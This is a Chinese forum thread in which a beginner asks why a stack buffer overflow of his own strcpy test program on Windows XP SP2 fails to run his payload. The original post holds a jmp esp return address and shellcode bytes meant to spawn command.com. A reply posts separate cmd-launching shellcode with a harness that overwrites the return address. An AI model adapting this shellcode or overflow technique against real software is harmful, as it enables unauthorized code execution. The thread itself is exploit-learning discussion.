关于溢出执行代码失败的问题

[hhero0773]

小弟刚学溢出不久，遇到一个问题：溢出后没有按照我的想法执行我的代码。请高手指点指点！！！我的代码如下：

一、获得需要执行的程序的机器码
    #include"stdafx.h"
    #include<windows.h>

    int main()
    {
	LoadLibrary("msvcrt.dll");
	system("command.com");
	return 0;
    }
    获得机器码："\x55\x8B\xEC\x83\xEC\x40\x53\x56\x57\x8D\x7D\xC0\xB9\x10\x00\x00\x00"
	       "\xB8\xCC\xCC\xCC\xCC\xF3\xAB\x8B\xF4\x68\x2C\x20\x42\x00\xFF\x15\x5C\x71\x42\x00"
	       "\x3B\xF4\xE8\x54\x01\x00\x00\x68\x1C\x20\x42\x00\xE8\x3A\x00\x00\x00"
	       "\x83\xC4\x04\x33\xC0"

二、溢出测试程序
    #include"stdafx.h"
    #include<stdio.h> 
    #include<string.h>

    char name[] = "\x41\x41\x41\x41"  //AAAA
		  "\x41\x41\x41\x41"  //AAAA
		  "\x41\x41\x41\x41"  //AAAA

		  "\x7f\xfa\x45\x12"  //jmp esp（问题是不是在这个地方，我的系统是WindowsXP SP2）

                  //程序一的机器码
		  "\x55\x8B\xEC\x83\xEC\x40\x53\x56\x57\x8D\x7D\xC0\xB9\x10\x00\x00\x00"
		  "\xB8\xCC\xCC\xCC\xCC\xF3\xAB\x8B\xF4\x68\x2C\x20\x42\x00\xFF\x15\x5C\x71\x42\x00"
		  "\x3B\xF4\xE8\x54\x01\x00\x00\x68\x1C\x20\x42\x00\xE8\x3A\x00\x00\x00"
		  "\x83\xC4\x04\x33\xC0";  

 
    int main() 
    { 
	char output[8]; 
	strcpy(output, name);  //测试溢出

	return 0; 
    }

[ssk148150105]

mark

[derek02]

up...

[John_Yang]

Mark一下，现在忙，回头若楼主还没解决，再来帮忙。

[supercow]

难道你不知道字符串会被 \x00 截断么?

strcpy 换 memcpy 去试试. <-- 当然你实战的时候 不能这样...

[再见品月]

嘻嘻。看不懂。。建议去C/C++区问

[sophy520eangel]

或许LZ可以用下下面这段代码来测试下.....
#include "stdio.h"
unsigned char shellcode[] =
"\x8B\xEC\x33\xFF\x57"
"\xC6\x45\xFC\x63\xC6\x45"
"\xFD\x6D\xC6\x45\xFE\x64"
"\xC6\x45\xF8\x01\x8D"
"\x45\xFC\x50\xB8\xC7\x93"
"\xBF\x77\xFF\xD0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

[sophy520eangel]

同时顶下#4

少用strcpy()